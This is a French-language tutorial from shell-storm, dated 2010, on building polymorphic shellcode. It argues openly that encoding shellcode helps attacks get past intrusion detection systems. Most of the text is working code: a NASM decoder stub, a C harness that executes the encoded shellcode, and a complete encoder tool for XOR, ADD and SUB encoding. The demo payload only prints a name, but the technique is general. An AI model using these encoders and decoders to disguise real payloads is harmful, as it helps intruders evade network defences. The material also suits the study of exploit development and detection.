Title: How to create a polymorphic shellcode ?
Author: Jonathan Salwan <submit ! shell-storm.org>
Web: http://www.shell-storm.org/ | http://twitter.com/jonathansalwan
Date: 2010-06-14
Language: French
Original version: http://howto.shell-storm.org/files/howto-2.php
I - Présentation du polymorphisme
==================================
Le mot polymorphisme vient du grec et signifie plusieurs formes. Ce terme a été employé en
informatique pour la première fois par un pirate bulgare portant le pseudonyme Dark Avenger,
ce dernier ayant créé en 1992 le premier virus polymorphique.
L'objectif du code polymorphique est d'éviter la détection tout en s'adaptant aux modèles,
c'est-à-dire à certains traits caractéristiques permettant d'identifier un code donné.
Le polymorphisme est utilisé dans les shellcodes pour camoufler les attaques sur un réseau.
Il est vrai que de nos jours les IDS (Intrusion Detection System) répertorient la plupart
des structures de shellcodes. (exemple: push /bin/sh, etc...).
C'est pourquoi le polymorphisme permet de passer outre cette détection.
II - Structure d'un shellcode polymorphique
===========================================
Pour éviter les détections notre shellcode devra être encodé mais pour qu'il fonctionne
correctement nous devons lui ajouter un décodeur.
La structure sera comme ci-dessous:
+------------+--------------------+
| DECODEUR | SHELLCODE ENCODE |
+------------+--------------------+
<--Notre shellcode polymorphique-->
Prenons par exemple le shellcode présenté dans le Howto n1 (_write)
xor %eax,%eax
xor %ebx,%ebx
xor %ecx,%ecx
xor %edx,%edx
movb $0x9,%dl
pushl $0x0a
push $0x6e616874
push $0x616e6f6a
movl %esp,%ecx
movb $0x1,%bl
movb $0x4,%al
int $0x80
xor %ebx,%ebx
movb $0x1,%al
int $0x80
En hexadecimal ce shellcode donne:
"\x31\xc0\x31\xdb\x31\xc9"
"\x31\xd2\xb2\x09\x6a\x0a"
"\x68\x74\x68\x61\x6e\x68"
"\x6a\x6f\x6e\x61\x89\xe1"
"\xb3\x01\xb0\x04\xcd\x80"
"\x31\xdb\xb0\x01\xcd\x80"
Ok, maintenant imaginons que notre IDS est programmé pour détecter cette suite d'instruction.
Nous allons donc devoir l'encoder, pour ça commencons par incrémenter de 1 notre shellcode.
Ce qui va donner:
"\x32\xc1\x32\xdc\x32\xca"
"\x32\xd3\xb3\x0a\x6b\x0b"
"\x69\x75\x69\x62\x6f\x69"
"\x6b\x70\x6f\x62\x8a\xe2"
"\xb4\x02\xb1\x05\xce\x81"
"\x32\xdc\xb1\x02\xce\x81"
Une fois notre shellcode encodé nous devons lui rajouter le décodeur, comme vous l'avez sûrement
compris, le décodeur devra décrémenter de 1 notre suite d'instrution.
Voici les sources d'un décodeur
BITS 32
jmp short three
one:
pop esi
xor ecx, ecx
mov cl, 36 ; On place dans %cl la taille de notre shellcode
two:
sub byte [esi + ecx -1 ], 0 ; on décrémente de 1 notre chaîne
sub cl,1 ; on décrémente de 1 la taille de la chaîne
jnz two ; on test si %cl est à 0 (si c'est la fin de notre chaîne)
jmp short four ; si c'est le cas on sort de la boucle
three:
call one
four:
Compilons notre décodeur:
jonathan@ArchLinux [test]$ nasm -f elf decodeur.s
jonathan@ArchLinux [test]$ ls
decodeur.o decodeur.s
jonathan@ArchLinux [test]$ ld -o decodeur decodeur.o
ld: warning: cannot find entry symbol _start; defaulting to 08048060
jonathan@ArchLinux [test]$ objdump -d decodeur
main: file format elf32-i386
Disassembly of section .text:
08048060 <one-0x2>:
8048060: eb 11 jmp 8048073 <three>
08048062 <one>:
8048062: 5e pop %esi
8048063: 31 c9 xor %ecx,%ecx
8048065: b1 24 mov $0x24,%cl
08048067 <two>:
8048067: 80 6c 0e ff 00 subb $0x0,-0x1(%esi,%ecx,1)
804806c: 80 e9 01 sub $0x1,%cl
804806f: 75 f6 jne 8048067 <two>
8048071: eb 05 jmp 8048078 <four>
08048073 <three>:
8048073: e8 ea ff ff ff call 8048062 <one>
Maintenant rajoutons notre décodeur au shellcode déjà encodé:
#include <stdio.h>
char SC[] = //Décodeur
"\xeb\x11\x5e\x31\xc9\xb1\x24\x80"
"\x6c\x0e\xff\x01\x80\xe9\x01\x75"
"\xf6\xeb\x05\xe8\xea\xff\xff\xff"
//Shellcode encodé
"\x32\xc1\x32\xdc\x32\xca\x32\xd3"
"\xb3\x0a\x6b\x0b\x69\x75\x69\x62"
"\x6f\x69\x6b\x70\x6f\x62\x8a\xe2"
"\xb4\x02\xb1\x05\xce\x81\x32\xdc"
"\xb1\x02\xce\x81";
int main(void)
{
printf("Length: %d\n",strlen(SC));
(*(void(*)()) SC)();
}
Testons notre shellcode polymorphique
jonathan@ArchLinux [test]$ cat main.c
#include <stdio.h>
char SC[] = //Décodeur
"\xeb\x11\x5e\x31\xc9\xb1\x24\x80"
"\x6c\x0e\xff\x01\x80\xe9\x01\x75"
"\xf6\xeb\x05\xe8\xea\xff\xff\xff"
//Shellcode encodé
"\x32\xc1\x32\xdc\x32\xca\x32\xd3"
"\xb3\x0a\x6b\x0b\x69\x75\x69\x62"
"\x6f\x69\x6b\x70\x6f\x62\x8a\xe2"
"\xb4\x02\xb1\x05\xce\x81\x32\xdc"
"\xb1\x02\xce\x81";
int main(void)
{
printf("Length: %d\n",strlen(SC));
(*(void(*)()) SC)();
}
jonathan@ArchLinux [test]$ gcc -o main main.c
main.c: In function 'main':
main.c:17:31: warning: incompatible implicit declaration of built-in function 'strlen'
jonathan@ArchLinux [test]$ ./main
Length: 60
jonathan
jonathan@ArchLinux [test]$
Et voilà notre shellcode a été executé sans aucun problème avec une taille de 60 bytes.
Il existe plusieurs types d'encodage pour camoufler votre shellcode les principaux sont:
- Addition
- Soustraction
- Xor
Après il vous est possible de créer votre propre algorythme pour encoder vos shellcodes.
III - Extras
============
Je ne vous cache pas que c'est long et chiant d'encoder des shellcode, c'est pourquoi
dans cette section je vais vous laisser un outil qui vous facilitera la vie.
/*
Writed by Jonathan Salwan - shell-storm.org
Original source: http://www.shell-storm.org/shellcode/files/shellcode-649.php
*/
#include <stdio.h>
#include <stdio.h>
unsigned char your_SC[] = "\x31\xc0\x31\xdb\x31\xc9"
"\x31\xd2\xb2\x09\x6a\x0a"
"\x68\x74\x68\x61\x6e\x68"
"\x6a\x6f\x6e\x61\x89\xe1"
"\xb3\x01\xb0\x04\xcd\x80"
"\x31\xdb\xb0\x01\xcd\x80";
void syntax(void)
{
fprintf(stdout,"\nSyntax: ./encode <type> <value>\n\n");
fprintf(stdout,"Type: -xor\n");
fprintf(stdout," -add\n");
fprintf(stdout," -sub\n\n");
fprintf(stdout,"Exemple: ./encode -xor 10\n\n");
exit(1);
}
int main(int argc, char *argv[])
{
if(argc != 3){
syntax();
return 1;
}
if(!strcmp(argv[1], "-xor"))
{
fprintf(stdout,"Encode : XOR %s\n", argv[2]);
fprintf(stdout,"Encoded: \n");
fprintf(stdout,"\\xeb\\x11\\x5e\\x31\\xc9\\xb1\\x%x\\x80"
"\\x74\\x0e\\xff\\x%.2x\\x80\\xe9\\x01\\x75"
"\\xf6\\xeb\\x05\\xe8\\xea\\xff\\xff\\xff"
,strlen(your_SC), atoi(argv[2]));
for (int i=0;i<sizeof(your_SC)-1;i++){
your_SC[i] = your_SC[i]^atoi(argv[2]);
fprintf(stdout,"\\x%.2x", your_SC[i]);
}
fprintf(stdout,"\n");
}
if(!strcmp(argv[1], "-add"))
{
fprintf(stdout,"Encode : ADD %s\n", argv[2]);
fprintf(stdout,"Encoded: \n");
fprintf(stdout,"\\xeb\\x11\\x5e\\x31\\xc9\\xb1\\x%x\\x80"
"\\x6c\\x0e\\xff\\x%.2x\\x80\\xe9\\x01\\x75"
"\\xf6\\xeb\\x05\\xe8\\xea\\xff\\xff\\xff"
,strlen(your_SC), atoi(argv[2]));
for (int i=0;i<sizeof(your_SC)-1;i++){
your_SC[i] = your_SC[i]+atoi(argv[2]);
fprintf(stdout,"\\x%.2x", your_SC[i]);
}
fprintf(stdout,"\n");
}
if(!strcmp(argv[1], "-sub"))
{
fprintf(stdout,"Encode : SUB %s\n", argv[2]);
fprintf(stdout,"Encoded: \n");
fprintf(stdout,"\\xeb\\x11\\x5e\\x31\\xc9\\xb1\\x%x\\x80"
"\\x44\\x0e\\xff\\x%.2x\\x80\\xe9\\x01\\x75"
"\\xf6\\xeb\\x05\\xe8\\xea\\xff\\xff\\xff"
,strlen(your_SC), atoi(argv[2]));
for (int i=0;i<sizeof(your_SC)-1;i++){
your_SC[i] = your_SC[i]-atoi(argv[2]);
fprintf(stdout,"\\x%.2x", your_SC[i]);
}
fprintf(stdout,"\n");
}
return 0;
}
IV - Références
===============
[x] - http://www.shell-storm.org
[1] - http://www.shell-storm.org/papers/files/427.pdf
[2] - http://howto.shell-storm.org/files/howto-1.php